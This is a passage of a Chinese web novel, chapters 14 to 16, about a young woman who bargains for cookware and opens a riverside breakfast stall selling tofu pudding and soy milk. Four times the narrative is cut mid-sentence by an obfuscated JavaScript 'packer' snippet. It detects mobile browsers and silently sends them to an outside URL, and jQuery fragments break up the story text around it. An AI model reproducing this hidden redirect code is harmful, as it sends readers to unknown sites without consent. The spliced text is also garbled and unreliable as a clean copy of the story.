算命先生打开布袋子，拿出吴怀夕昨日送给的地瓜干嚼得称心，啥都没有他的地瓜干好吃，萝卜也是。 “那自是有的。” 吴怀夕捧着一张笑脸，随着算命先生一起往镇上去，“我还会做别的瓜果干和一些新鲜的吃食，先生日后来尝尝？” 算命先生一听也乐了起来，她的声音在算命先生的耳中并不吓人，听着这些新鲜的吃食，以及别的瓜果干，那可是犹如天籁，立刻应道，“好说，好说。” 吴怀夕的脸上身上还有不少锅灰，浑身肿胀，要是这样去镇上，别说是沈家，就是瞧上一眼的路人，也要吓坏的。她将原先买的那块布包在了头上，遮掩了脸，才拉着板车到了一家成衣铺子前。 虽说天气渐渐转暖，但还是需买些保暖的衣物，避免倒春寒这样的日子。 其实一件夹了棉花的成衣袄子并不便宜，这浑身上下加上裤子与里衣，便花去了吴怀夕二百文。她一边付钱一边心疼，若是以后多赚钱银子，一定要去布庄买布匹裁衣做。那样式既能多样，还便宜，一匹布能做好几件衣裳。 她手上有疙瘩，镇上的澡堂并不让她进去，她想了又想，便重新回到山中的温泉洗漱。 平日里进山出山来来回回不知道走了多少里路，今日这样重获新生的日子，多走几步路，又算得了什么呢。 温泉水将她身上的锅灰慢慢洗去，吴怀夕自己都觉得有些不好意思，今日竟是她来了杏花村后，第一次洗澡！ 她在温泉水里泡了好久，用买来的皂角和兰草，将自己浑身上下搓洗了一遍，洗掉所有的沈家的晦气，连手指都要泡囊了才作罢。 待她将自己洗的干干净净，穿了新买的衣裳，重新回到镇上，已是黄昏时分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059305|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李大叔与红姐儿早就在木行门口候着，见她变成的这副模样，都大吃一惊。红姐儿望着那些红疙瘩并不害怕，只是心疼得直掉眼泪。 “这怎么行。” 吴怀夕打开了她的推车门，瞧见了那张小床上已经铺上了碎花被褥。那碎花是杏花样式的，已经被春日里的日头晒得蓬松。 这简直就是连吃带拿的，她实在是受了李大叔一家太多的恩惠，心中一酸，眼眶红了。 “这定是行的。”李大叔拍了拍她的肩膀，“吴小娘子，你可别不给面子，这是红姐儿挑的。” 红姐儿在李大叔的身边拼命点头，蹦蹦跳跳，彰显着她选中的样式，“这被褥上的杏花开得极好，我想着吴姐姐定是喜欢的。” “喜欢。” 吴怀夕揉了揉自己的眼睛，含笑道，“红姐儿今日想吃什么？” “吃肉！” 红姐儿更乐了，她的心里是极喜欢吃面前这位吴姐姐做的吃食的。 “好。” 吴怀夕将一切都打点好，便去肉摊子上称了一块上好的猪五花。她正寻思着是酱香着吃还是白灼着吃，便瞧见一旁的小摊贩在卖他自己晒好的粉条干。 若说这样春寒料峭的傍晚吃些什么最好，那定是油香四溢的猪肉炖粉条子！ 五花被洗净切成薄块，等锅子烧热后并不放油，反而将五花下进去煸炒。大火将五花的肥油都煸了出来，满屋喷香。 吴怀夕用锅铲将五花铲了出来，留下几块在锅里继续炒了一会儿，便盛在小碗里递给一旁坐着瞧她做菜的红姐儿。 这几块五花被她炸得焦脆，红姐尝了一块“咯吱”作响，酥得掉渣。纵是未放调料，也是脆爽肥香，不腻口，越嚼越有滋味。 锅里还剩着五花煸炒出来的油，蒜末辣椒炒出香味，煸好的五花与切好的白菜一同下入，而后加水没过。文火炖上两刻后，扔上一把泡软的粉条，焖上一会儿撒上盐巴，便出锅了。 五花肉炖得软烂，肉香浓郁，肥而不腻。 这个季节的白菜也毫不逊色，菜叶质地柔嫩，菜梗的纤维都被炖得清甜软糯。 而这道菜的精髓却在于那爽弹滑溜的粉条，每一根粉条都浸润了沾满肉香的汤汁，粉糯咸香，吸进嘴里，不用多嚼，吸溜一口便滑下喉咙。 夹一筷子放在热腾腾的米饭上，吸满汤汁的粉条搭配米饭，吃上一口，味美无穷。 猪肉炖粉条在砂锅中咕嘟咕嘟的，这菜烫着吃最佳，李大叔与红姐儿也顾不得烫，吃得满嘴流油，鼻头与额上都冒出了汗，不只是热的还是被辣气熏的。 这碗猪肉炖粉条子被一扫而空，就连最后一点儿汤，李大叔都蘸了馍馍，将砂锅擦得锃光瓦亮。 今夜是吴怀夕第一次躺着睡觉，吃完药铺掌柜的药方，她浑身也舒爽不少。 在暖和的碎花被中，她沉沉地睡去。 明日，便要置办锅碗瓢盆，张罗起她的小食摊了。 14. 采买 从前在沈家时，吴怀夕每日只睡三个多时辰，且是将一只小凳，一方桌椅作床，每日山里镇上来回跑已是疲惫，又何况还要提防那色心不死的沈大贵。 好在一切都结束了。 这一晚她睡得极好，待再次睁眼时，竟已是午后。 小食摊已经被她推到临河的巷口，门上也落了锁。镇上的治安不错，河边的乌篷船内，有以船作屋的人家，夜里除了打更的更夫外，也会有三三两两的衙役夜巡，暂时不用担心安全问题。 上一月她总是照顾烤红薯小贩的生意，每每去李大叔家拜访，她也会去那些其他摊贩的摊子上瞧瞧，东边买冬梨，西边割五花，提前混个面熟。 摊贩们只知道她姓吴，都唤上一句“吴小娘子”，却很少有人知晓她是原先沈家的媳妇儿。 现下吴小娘子推了辆推车来，样式奇特，只说以后会做些吃食来卖，还请大家多多担待。她今日声音沙哑，且蒙了面罩，像是受了风寒。 这样平日里乖张的姑娘，他们看着也是心疼，日后还会与他们一起摆摊，自然是乐意照拂，也乐意在她出门时帮她看看摊子。 吴怀夕今日是将身上所有的银钱都带上了，想着要买的一大堆家伙是，这二两银钱，只觉得不够。 板车已经被她洗净擦干，连车轱辘李大叔都帮忙擦了油，拉起来十分顺畅。她心里还万般庆幸好在将板车带了出来，不然只凭两只手，哪里拿得下她今日要置办的东西。 过敏的症状虽还未好，但她心情十分畅快，嘴里更是要哼上两句，“叠个千纸鹤，再系个红腰带......” 这板车定是与她有缘，弯弯绕绕的，还是落在了她手里。她寻思着干脆当个家传宝贝算了，以后万一她在此地落了户，有了家，子孙后辈要是问起来咱们家的发家史，她就能得意洋洋地吹嘘，“一切还得从一辆板车说起......” 东市里是极其热闹的。吆喝声、铁器敲击声、说书声挤了个满满当当。这儿什么货物都有，且卖一样款式的，走两步便一家，比的就是谁家吆喝声大，谁家的货好便宜。 “三十文卖不卖！不卖走了！” 吴怀夕放下手中的碗碟，皱了皱眉头，吵吵嚷嚷地扭头就走，刚刚抬脚就喊住。 “小娘子，您看四十文成不？” 掌柜满脸堆笑着，连连将她从门口请了回来，他拿起一只大碗，对着光叫吴怀夕看它的纹理，“您瞧瞧，这烧得多好。胎薄如纸、透光透影的呀，这样的碗三十只卖上四十文也不过分吧。” “不成，我瞧着别家卖得更便宜，我还是去别家看看吧。” 吴怀夕接过那只碗，摇了摇头，重新递回掌柜手里。 再走，再抬脚。 “三十八文！” “三十文！” “三十六文！” “三十文！” “不成了，三十五文最多了！” “三十五文，再送十双筷子，俩调羹！” “？......成！” 吴怀夕早就一路打听过、比对过，这家铺子里的碗筷，无论是质量还是价钱，都是最优的。以上的吆喝都属于砍价的迂回战术。 看来这古代的砍价与现代的砍价并无什么区别。 最终她以五十文的价钱，拿下了三十只碗，四十双筷，二十个调羹，五个蘸碟。 掌柜将碗筷包好给吴怀夕放到板车上时，是左思右想，到底是亏了还是赚了。只觉得这面罩下的小娘子一双眼睛顾盼生辉，声音虽然有些沙哑，但妙语连珠，给他绕进去了。 吴怀夕这一路闯过去，砍过去。 八十文拿下泥炉、十文三只菜篮、二十文一套铲具、二十文一大木桶额外赠送一小木桶，十五文三十斤木炭...... 当然，锅具是最贵的，不说砂锅五十文两只，她将口都说干了，那一口锃光瓦亮的大铁锅也足足花了她三百文。 贵啊！ 这板车上的东西是越堆越多，兜里的银钱是越花越少。 待她将所需的油盐酱醋买完时，浑身就只剩下一百多文了。尤其是盐，要二十五文一斤，真是极贵！ 人买起东西来，时间便过得很快。当板车上的东西已经实在是堆不下时，太阳也渐渐落山。 这整个一下午都在采买，吴怀夕只喝了几口铺子掌柜的茶水，等她坐在板车上休息，她空荡荡的肠胃终于叫嚣起来。 她这才想起，今日是中午才起，而后与摊贩打招呼至采买置物，竟是一点儿东西都没吃。 满当当的战斗力让她忘记了饥饿。 东市也有吃食摊子，摊子上冒出滚滚热气，吸引着过往行人。 她饿极了，本想吃上一碗羊肉萝卜汤暖暖身子，但转念一想，羊肉属于发物，倒是她万一只想满足她的舌头尝上一碗，过敏症还得再拖上几日才好。 好在吃食摊子多，她最后选了一家面食摊子。这家的量给得极足，端上桌的是满满一大碗云吞面，又作馄饨面。 吴怀夕从前便喜面食，若要说将馄饨、饺子、面条这几样在她心目中排个先后所以然，她是怎么都排不过来的。 饺子皮劲道，内馅五花八门；馄饨有肉.欲满满的多肉馄饨与皮薄汤鲜的泡泡馄饨；面条这东西，南有浇头细汤面，北有大碗韧宽面，要说做法，成百上千...... 所以云吞面这东西，对于既想吃这，又想吃那的面食爱好者，真是伟大的创造。 云吞面的汤底由鱼骨与猪骨混合熬煮，又添了一些虾籽，鲜醇味美。 脆嫩多汁的时令马蹄混之弹爽鲜甜的虾仁，再用鸡蛋清拌上肉碎，用轻薄的云吞皮捏成鱼尾样式。 面条是由竹竿压制而成的细长竹升面，尝起来极其劲道，裹满了汤汁，吸上一口顺滑弹牙。 白里透红的云吞浸润在鲜甜清澈的汤底里，混合着猪油的香气，让吴怀夕一口接一口，化身为饕餮，连同汤底都喝了个一干二净，怎一个“鲜”字了得！ 这一碗云吞面下去，她的胃也得到了满足，吃饱了便该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059306|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想想小食摊一开始要卖什么吃食了。 前世她是卖炸串起家的，一根签子穿上一点儿肉与蔬菜，五毛一块的，即便是卖的便宜也禁不住量大，深受中小学生的欢迎，那挣得是满满当当。 现下可不行，兜里只有一百来文。 且。 油贵啊！ 那么贵的油，用来炸蔬菜？ 还有一点儿。 炸串是用来解馋的。镇上大多都是劳作的百姓，平日里干得都是力气活，谁不想吃饱，身子暖暖和和的。你若是同他说一串串着三颗的炸花菜、炸豆角一文钱，他能立马骂你抢钱送你到官老爷面前。 现在才刚刚三月里，时而暖和时而冷得像冰窖，炸好的串只要一凉便不好吃了。 炸串这一门道，走不通。 启动资金实在是太少，吴怀夕想了半天，要想挣得多，成本还要低廉...... 做朝食吧。 摊子上有家朝食铺子，就是卖包子的。方才午后吴怀夕路过，人家才笑意盈盈地称她一声“吴小娘子”，也不能第二天就与他做同一样式的，抢他人的生意。 至于面食类，无论是面皮还是面条，都需要精面，还需要称上新鲜的猪肉，调好汤底，做些好吃的臊子。 这是手上只有一百多文的人敢想的吗！ 吴怀夕在东市待着一个时辰，左逛又逛，最后买了十斤黄豆、五十枚鸡蛋与一些草木灰，又淘了一个二手的小型石磨盘。 月上柳梢时，她才拉着她的一板车“战利品”回了家。 她将买好的东西把它的小食摊填了个满，还未喝上两口水，便忙前忙后为以后的日子做打算。 她将白日里买的炭灰与生石灰煮沸，又撒了一些盐，煮沸后放在瓦罐里慢慢放凉。而后，就是归置那些宝贝，锅碗瓢盆，柴米油盐，全都归置到相应的位置。 这样一摆，小食摊初步的模样，便有了。 待做完这些，瓦罐里的水也已经放凉，她挑了四十枚鸡蛋浸泡进去。 这一阵忙活下来，竟是比进山采药还累，而她的病又未好，实在是做不动了。 简单洗漱了一番，喝了汤药，她便爬上床休息。 她要好好休息几日，将脸上与身上的疙瘩全都养好。吃食一为好吃，二为干净，若是食客看到她这样一张脸，怕是吓都要吓跑了，还如何吃得下她做的东西。 她已经想好，最简单又成本又低廉的朝食，就是豆制品。豆花也好、豆浆也罢，这一条街道上，只有一家包子铺，味道是好，但吃着也噎挺。 若是配上她的热豆浆、豆花，二者搭配，相得益彰。 就是磨豆子太过麻烦。 看着她买的那个小型磨盘，她长叹了一口气......这可是个体力活。 以后若是挣钱了，她一定要买一只骡子！再买它一头牛，置上两亩地，整上一间青砖大房...... 带着这样美好的愿望，她渐渐进入了梦乡。 小食摊，准备开张！ 15. 开张 说到做朝食，大抵是吃食行当中最为辛苦的。 吴怀夕这几日睡了个饱，每日按时喝药，为了增加抵抗力，不是今日吃柑橘，就是明日啃莓果，可算将自己身上的红点子消了下去。 更夫的手中的竹梆子一敲，寅时到了。 吴怀夕用杨柳枝蘸了一点儿盐清口，再用冷水扑了把脸，披了件袄子便开始忙活。 昨夜睡前她就已经泡好了五斤黄豆，到现在约莫也有五个时辰。黄豆吸了水粒粒变得饱满鼓囊，她淘洗干净后，便将它们少量多次地倒入那只磨盘中，一边加水，一边磨。 起初是还好，磨盘在吴怀夕胳膊的不断的转动下很快便挤压出不少的豆糊。待转上两刻，她就不这么认为了，磨出这么多豆糊，为何木盆里的黄豆还有这么多！ 逐渐发酸的胳膊让她感叹豆浆机是多么伟大的创造，心里愈发笃定日后一定要买上一头骡子。 直至磨了有一个半时辰，这五斤黄豆终于叫她磨完了。然，这只是做豆花的第一步而已。这么多豆糊在屉布的过滤下，才有了两桶奶白色的生豆浆。 她点了泥炉，搁上两块煤球，待煤球烧得通红，便将这两桶生豆浆全都煮开。大火将豆浆煮得沸腾，很快整个小食摊都弥漫着一股豆香味。 一桶盖上盖子，在木桶底部加了些生石灰与水温着，确保喝起来时还是温热的。 一桶加了一些草木灰不断用铲子搅拌，静待一阵子，就变成了滑嫩的豆花。 光这样可不行，吴怀夕还得准备豆花的臊子。 干完这些活，天还未亮，只是泛着一点儿白色，但河边依旧有不少摊子准备开张。 若只是在豆花中添些榨菜、虾皮，实在是常见，如何能叫人心甘情愿地喝上一碗，定是需要一些特别的能吸引人的臊子才行。 肉与蔬果是越早越新鲜，吴怀夕摸了最后的二十文钱，便去所有的摊子上溜了一圈。待她回到自己的小食摊时，身上真是一文都没有了。 今日的豆花若是不挣钱，明日她就要喝西北风去。 起锅烧油，开始准备肉臊子。她只买了半斤肉，剁得极碎，又切了许多白菜丁进去，炒出来便是油亮亮的一大碗肉臊子。 做完这些后，她煨了一些红豆，等开张后就慢慢出沙了。 一只泥炉根本不够用，每次做菜要一个一个来，待多挣钱些，再添置一只。 天逐渐亮了，街道上的人也开始多了起来。他们大多都是码头做工的工人，或是一些贩夫走卒。他们早早就出门了，也顾不得在家吃上一顿朝食，买上几只包子、吃上一碗面或馄饨，才是他们日常的选择。 今日倒是不同，这河边上不知什么时候，又多了一家摊子，那摊子的掌柜是位年轻的小娘子，眉眼弯弯，正吆喝着叫卖， “卖豆花咯！美味的豆花！肉的三文，甜的两文！” 豆花大家倒是都尝过，只是这样一碗豆花，要卖上三文，确实是有些贵了，还不如买上只肉包子。 路过的几个行商纷纷都摇了摇头。 但豆花的香味夹杂着肉味扑面而来，又让人依旧忍不住过去瞧上一眼，怎么会这样的香？是肉的香味！ “吴小娘子，真的是你！” 陈福来早就被这诱人的豆香给勾了过来，打眼这么一瞧，这不就是那位请他兜售菌子的吴小娘子吗！ “陈大哥早啊。” 吴怀夕瞧着这位熟人，脸上的笑意更甚，她打开木桶盖子，露出里面白嫩嫩的豆花，“要来一碗豆花吗？” “来！自然是来的！” 从前吴小娘子对他颇多照拂，这回她的摊子开张，他岂有不照顾之理啊？何况这晃来晃去的豆花，看着着实不错。 “那给我来一碗肉的吧。” “要葱花不要？要加些辣子吗？” “要，都要！多加些！” 吴怀夕笑着应了声，盛了一碗豆花，加了一大勺臊子，淋上香油，撒了榨菜丁、葱花与辣子，递到了陈福来手中。 “吴小娘子，我只是要一碗豆花，可并没有要饼。” 那铺满的臊子中，还放着一块闻着喷香的饼。这饼瞧着不错，不得卖上个两文钱？ “买豆花就送饼，不要钱。” 吴怀夕叫他放心吃豆花，只要是买豆花，都送饼。 那是豆渣饼。她滤了两桶豆浆，却剩下了不少豆渣，若是丢掉，实在是太过可惜。 吴怀夕索性在里面打了两个鸡蛋，撒了少许面粉，又切了不少白菜丁进去。火腿只放了一丁点儿，只为提个鲜味。 豆渣并不值钱，但只需少量的油，就能煎成金黄柔软的豆渣饼，尝着也是可口。 还没有多余的钱给小食摊置办桌椅，陈福来就将碗拿了，蹲坐在河边的石阶上吃。 豆渣饼咬起来柔软适口，混着鸡蛋与火腿香。陈福来吃得极有滋味，三下五除二就下了肚。 豆花细腻，入口即化，又加了肉臊子，撒了辣子与榨菜丁，嚼起来“咯吱咯吱”。晨起来上一碗，实在是过瘾。 “陈哥，你这啥饼，咋没见过嘛？” 河边的其他人看着陈福来吃，他并不一勺一勺擓，而是吸溜一大口，再感叹一声“香！”，瞧着就好吃，嘴里都唾沫都咽了不少。 “这我也不知道，买豆花就送，香死了！” 陈福来一边吃一边回答，脸上的笑都止不住。一会他定是要再来上一碗，他从未吃过这样好吃的豆花。 “飒？这买豆花还送饼嘞？” 这些人本觉得三文钱一碗豆花贵得很，但见陈福来碗中那么老些肉臊子，比肉包子里不知道要多多少，便全都跃跃欲试，如今又听三文一碗还送饼？ 那还不赶紧买一碗尝尝！这也太实惠哩。 “也给我来一碗肉的尝尝，多放些葱花。” “我也来一碗，那饼还有吗？” “我要一碗，辣子，给我加超多辣子！” “......” 小食摊前的人渐渐多了起来，没有桌椅，大家便都拿着碗在河边吃。这不就是活招牌，路过的人看着，瞧着新鲜，也想要来一碗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059307|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就连一旁摆摊的那几位小贩，也去要了一碗，回摊子上吃。 “这大早上，我不愿意吃肉，腻死了。” 一位姑娘也在小食摊面前驻足，她是极爱吃豆花的，但看着那些有些油腻的臊子，皱了皱眉。 在她的家乡，豆花都吃甜的，哪有吃咸的？ “那姑娘来一碗甜豆花可好？两文钱，也送豆渣饼。” 吴怀夕正忙活着清洗碗，见这位姑娘站了许久，开口问道。 她可是甜咸兼顾党，咸豆腐脑与甜豆腐脑之争，从古至今，都没有争辩出个所以然来。 听了这话，姑娘的眉毛才舒展开来，就该吃甜的。若是撒上一些白糖，甜豆花是最好吃的！ “你这儿也有甜的吗？那我买一碗尝尝看。” 待吴怀夕将碗递到姑娘手里，这一碗甜豆花，姑娘瞧见了它的样子，才发现这一碗甜豆花可不止撒了一些白糖那么简单。 洁白似玉的豆花上，浇了红豆沙，撒了一些柑橘肉，还点了几颗莓果。 好漂亮的一碗豆花！ 红豆已经出沙，香甜可口。柑橘肉清爽，莓果含酸。将这几样东西混着豆花放进嘴里，嫩滑清甜的豆花混着果味的酸甜，口感极妙！ “好好吃！” 姑娘幸福的表情溢于言表，很快就吃完了一整碗的豆花。 她将两文钱递给了吴怀夕，索性连豆渣饼都不要了，极其高兴，“掌柜你等着，我去叫我姐妹也来吃，瞧瞧我发现了什么！” 她跑起来似一只兔子，轻巧而灵动，很快就奔进了人群中。 果然甜品这东西，就是能叫人心情舒畅。 豆浆也极受路人的欢迎，只要一文钱，就是喝上满满一大碗充满豆香的甜豆浆，就着包子吃，实在是暖胃又解渴。 那豆浆桶很快就见了底，比豆花卖起来还快，吴怀夕瞧着这豆浆桶，估摸着以后炸些油条来卖，再泡在豆浆里，撒上一些榨菜沫。 咸豆浆也是很好喝的嘛。豆浆也是有甜咸之争的。 吃朝食的人极多，来来往往人头攒动，也很热闹。一个上午过后，吴怀夕的两大桶豆浆与豆花就全都卖完了，连同着豆渣饼，也送了个精光。 小食摊第一天营业，取得了圆满的成功。 她数了数放铜钱的坛子，今日竟挣了一百五十文！若是除去三十多文成本，这一天下来，也有一百来文了。 真是发财了！虽说胳膊实在是酸疼，但确实是比进山采药来得轻松多了。 要不怎么开早餐店的那批人，生意火爆的，动不动就是几年下来，买车买房。 她将所有的碗勺洗干净，锅碗瓢盆也归置好。吃了一碗给自己留好的豆花，便去周公下棋去了。 这做朝食可真累啊。 等多攒些银钱，就做些别的吧。若是让她手磨磨盘磨上个几个月，她就可以去参加胳膊健美比赛了。 攒钱攒钱攒钱...... 桌椅要买，泥炉要买，要买的东西可真不少。 还有骡子，一只堪比豆浆机的骡子。 16. 生意 这两日的春雨又渐渐密起来，雨珠顺着小食摊的木檐滑落，似一方珠帘。 春雨并不能阻挡来来往往行人的忙碌，那些在码头做工的，都披着一条蓑衣，戴着斗笠，依旧忙碌的搬动着货物，努力挣钱。 “吴小娘子，来一碗咸豆浆暖暖胃。” 一位行人站在小食摊的木檐一角，突出的木檐正好挡下了落雨。他摘掉头上的斗笠，抖了抖上方的雨水，夹在胳膊一侧。 斗笠似乎抵挡不了多少的雨，他露出的头发乱糟糟的，被雨水打湿了不少。 每日习惯来上一碗豆浆或是豆花，他们也与吴怀夕渐渐熟络，日日都喊上一声“吴小娘子”。 “人都说春日的天气，像孩儿的面孔，瞧着确实是这样。前几日热得只需穿件薄衫就好，今日春雨一下，浑身又冷飕飕的。” “是啊，也不知道怎么时候停，码头的木板湿漉漉的，隔一夜就长上青苔了。这滑的，我差点就跌一跤，还好我底盘稳。” 行人有一搭没一搭地与吴怀夕说话，看着这下的雨叹了口气，他们这样的做工的，最讨厌雨天与酷日。 “那赵大哥确实要小心了，昨日我瞧见陈大哥就摔了，来吃豆花的时候还捂着腰呢。” “谁说不是呢，那小子仗着自己年轻，跑得快，跟皮猴似的，这不，摔了吧......” 吴怀夕笑了笑，打了一碗豆浆，用剪子将油条剪成小段泡了进去，加了豆酱，又撒了些榨菜末与虾米。当然，必不可少是几滴香油。 酥脆的油条被豆浆浸得发软，夹杂着浓郁的豆香味，咸鲜适口。 若是加些紫菜碎，就更有风味了。然而安阳镇并不靠海，一小点儿紫菜可是金贵，用虾米也能增鲜。 最近一天都能挣上一百文，吴怀夕每日睡醒后，就去东市置办东西。不仅添了新的泥炉，也舍得多买上些面粉与油了。 炸油条用的并不是精面，只是十五文一斤的粗面拉成了面剂子，经过油香的浸润，也能变得喷香酥脆。一根能卖两文钱，若是剪半根泡在豆浆里，一碗便是三文钱。 这样累积着，每日也能挣上一点儿钱。 一大碗咸豆浆下肚，又嚼了一块儿豆渣饼，行人满足地付了三文钱，夹起斗笠正欲离开，吴怀夕便笑盈盈地唤住了他。 “赵大哥，再喝碗姜汤去去寒。” “嘿，您可真贴心嘿。” 行人拿起那碗咕嘟咕嘟的，很快就将碗喝了个底朝天，“走了哈，吴小娘子。” 茶水摊一碗姜茶三文钱，吴小娘子摊上的姜汤不要钱，这是赵大哥一边扛货物一边说的。 今日下雨，吴怀夕这儿并没有可以避雨的茶棚桌椅，生意便没有晴天里好。 扛货物实在是辛苦，那雨水又顺着蓑衣往他们脖子里滑，浑身又黏又冷，不如来小食摊上喝上一碗姜茶。 来了小食摊，就难免要被豆香味勾了魂去。再说了，一帮子大男人，怎能光来喝一碗不要钱的姜汤就走呢。 “哟，孙大哥，您来啦。” “李大哥，您把这斗笠放这，夹着也太累了。” “......” 吴小娘子只是几天，就将他们姓甚名谁全都记住了。这人热情不说，今日的豆花好像又换了新臊子，不如来一碗吧。 于是，尽管小食摊的木檐下仅能避一点儿雨，还是有一个接一个人挤在那儿喝碗姜茶，吃碗豆花。 驱寒的姜茶配上加了辣子的豆花，让他们身上都暖和不少。 “这儿是卖甜豆花吗？” 一位男子撑着一把油纸伞，将地上水坑里的水溅得极高，气喘吁吁地在小食摊面前停了下来。 “是啊，公子是要来上一碗？” 吴怀夕抬头，面前是一位书生装扮的年轻男子，虽说是撑了一把伞，可他这样着急忙慌的，身上早就打湿了不少，头发搭在额前，有些凌乱。 “对。” 男子手中提着一个食盒，他将食盒递到吴怀夕面前，语气带着些着急，“可否放在这食盒里，阿，阿离想吃，我便来这儿同你买回去给她。” 说到阿离，男子的耳尖泛起了一抹红，有些不好意思的咳嗽了两声。 “阿离这两日都没来呢。” 吴怀夕笑了笑，从食盒中取出碗，打了一大碗豆花，撒上鲜果切与红豆沙，“我还怪想她的哩。” “她这两日染了风寒，浑身没劲，吃不下饭，也不愿出门。这人不吃饭怎么行呢！我就从她小姐妹那里打听到，她喜欢吃这儿的甜豆花......” 男子说话的声音愈来愈小，到最后，连脸颊都染上了一点儿红色。 “这样啊。” 吴怀夕心领神会，她也盛了一碗姜汤，一并装进了食盒里，“那就希望她吃了我的甜豆花，能快些好起来吧。” 男子小心地接过食盒，撑着伞又走进了雨里。 他来时几乎是跑着来的，去时，那柄油纸伞往食盒那儿撑了又撑，自己倒是让雨水打湿了一边的衣襟，走得便慢了些。 雨虽然上午下得大，可到了午时，便淅淅沥沥的。待吴怀夕收拾干净碗筷，雨已经停了。 急骤的雨后，天边泛起了一道虹光。空气中弥漫着一股青草香，姑娘们小心地踏过湿漉漉的青石板，恐泥点子溅到裙角。 河里的鱼这两天受了罪，全都不停地跃出水面呼吸新鲜的空气，像是在开大会。当然，渔民可是乐怀了，肥美的鱼儿，一捞一个准。 “四娘子，帮我挑一条鳜鱼呗。” 吴怀夕小憩后，站在鱼摊面前，看着木桶里各式各样的鱼虾，几乎要挑花了眼。 “桃花流水鳜鱼肥”，三月天里，自然是鳜鱼最佳肥美。 四娘子熟练地挑了一条鳜鱼，刮鳞去内脏，一气呵成。 “今日又去李大叔家？” 四娘子将鱼嘴用细柴串好，递到吴怀夕面前，“一共是二十文。” “四娘子怎么知晓。” 吴怀夕笑着从荷包里拿出钱，朝她打趣道，“莫不是向算命先生学了几招，将他的本事学来啦。” “你呀。” 四娘子似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059308|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎已经习惯了面前这吴小娘子的话，被她逗得合不拢嘴，“你一买鱼买肉，准是去他那。上次李大叔还吹嘘，你是她干孙女呢。” “李大叔帮了我不少，孝敬他也是应该的。” 吴怀夕买了鱼，回到了自己的小食摊。现下她有了自己做饭的地方，每每去李大叔家，便先都做了带去。 总不能一直用他家的油与精米，那真成了吃白食的。 本想着做道松鼠鳜鱼，但她转了一圈后，发现菜摊上并没有卖番茄的。她一拍自己的脑袋，春日里都是种番茄藤苗的，哪有结番茄的，这里可没有温室种植，一年四季都能吃上新鲜的蔬果。 那便只能做道家常的红烧鳜鱼。 她将将鳜鱼清洗干净，用刀子划上几刀，起锅烧油，将它煎得两面泛起诱人的金黄色后盛出。 葱花蒜片爆香后，加些豆酱、糖，再将鳜鱼重新放入锅中，加水没过，再加入黄酒闷煮。 “好香啊，吴小娘子在做鱼吃？” 李大叔趴在小食摊的一角，闻着味道往里瞧。 “李大叔，您怎么来了？我还想着一会去您那儿呢。” 吴怀夕见到李大叔后大喜，放下锅铲就要过来招呼。本想着做了鱼，再给红姐儿买根糖葫芦就去他家拜访，没想到人自个儿先来了。 “嗨，想来吃碗豆花来。你忙你的，不用管我。” 李大叔给自己倒了一碗姜汤，自得其乐得嘬着，“但李大叔现在改变主意了，这鱼闻起来了真香啊。” “那您就坐下来，正好吃，吃完也好接红姐儿下学。” 吴怀夕说完便焖上了米饭，也清洗了一把新鲜的荠菜， 她打开锅盖，撒了一把葱段，鱼肉的香味登时在整个小食摊散开。 “嘿，那我可就不客气了。” 四娘子将鱼籽鱼泡也给了吴怀夕，如今这也随着鱼肉炖得烂熟。 鳜鱼的肉质鲜嫩，入口晶莹细嫩，再浇上浓厚的汤汁，鲜香四溢。 李大叔倒是更加看中那鱼籽，嚼起来有韧劲，别具风味。 荠菜是焯水清拌的，撒了一些香油蒜末，甘甜爽脆。 一端饭下来，那一整条红烧鳜鱼就只剩下一些鱼骨，连鱼头都叫李大叔啃了去，二人吃得酣畅淋漓。 “李大叔，这个您会做吗？” 吴怀夕将手中的画纸再次递给了李大叔。她本想着去东市淘些桌椅，但这几日一直下雨，这普通的桌椅一直摆在外面，一定会泡坏的。 李大叔的木工活巧夺天工，她又有了新的心思。 折叠桌椅。收摊时，也能将桌椅收起来。 再去定制几把大型油纸伞。下雨、烈日，也不惧怕了。 